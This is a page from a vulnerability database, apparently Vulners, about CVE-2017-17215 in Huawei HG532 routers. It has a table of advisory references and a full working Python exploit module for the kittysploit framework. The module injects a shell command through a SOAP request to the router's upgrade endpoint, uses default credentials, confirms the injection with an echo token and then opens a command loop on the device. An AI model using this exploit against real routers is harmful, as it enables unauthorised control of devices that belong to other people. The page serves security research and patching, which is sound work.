Huawei Router HG532 RCE
| Reporter | Title | Published | Views | Family All 46 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Huawei Hg532_Firmware | 17 Nov 202011:22 | – | githubexploit | |
| CVE-2017-17215 | 20 Mar 201800:00 | – | attackerkb | |
| The vulnerability of Huawei HG532 Wi-Fi routers’ microprogramming software lies in insufficient validation of input data, allowing a hacker to execute arbitrary codes. | 28 Apr 202200:00 | – | bdu_fstec | |
| CVE-2017-17215 | 2 Jan 201809:34 | – | circl | |
| Huawei HG532 Series Router Remote Code Execution Vulnerability | 25 Dec 201700:00 | – | cnvd | |
| Huawei HG532 Router Remote Code Execution (CVE-2017-17215) | 27 Nov 201700:00 | – | checkpoint_advisories | |
| CVE-2017-17215 | 20 Mar 201815:00 | – | cve | |
| CVE-2017-17215 | 20 Mar 201815:00 | – | cvelist | |
| Huawei Router HG532 - Arbitrary Command Execution | 25 Dec 201700:00 | – | exploitdb | |
| Security Notice - Statement on Remote Code Execution Vulnerability in Huawei HG532 Product | 30 Nov 201700:00 | – | huawei |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Huawei Router HG532 RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Huawei Router HG532 RCE',
'description': 'Module exploits remote command execution in Huawei Router HG532 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
'author': ['@jnazario'],
'cve': ['CVE-2017-17215'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215', 'http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en', 'https://pastebin.com/4nzunPB5'],
'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2017-17215'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(37215, "Target HTTP port")
username = OptString("dslf-config", "Username to log in")
password = OptString("admin", "Password to log in")
def execute(self, cmd):
payload = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
response = self.http_request(
method='POST',
path='/ctrlt/DeviceUpgrade_1',
data=payload,
auth=(self.username, self.password)
)
if not response:
return ""
return response.text or ""
def check(self):
response = self.http_request(
method="GET",
path="/"
)
if response is not None and 'server' in response.headers.keys() and "Linux uPnP/1.0 Huawei-ATP-IGD" in response.headers['server']:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def check_execute(self) -> bool:
token = self.random_text(8)
return token in (self.execute(f"echo {token}") or "")
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
8.4High risk
Vulners AI Score8.4
CVSS 26.5
CVSS 38.8
EPSS0.78278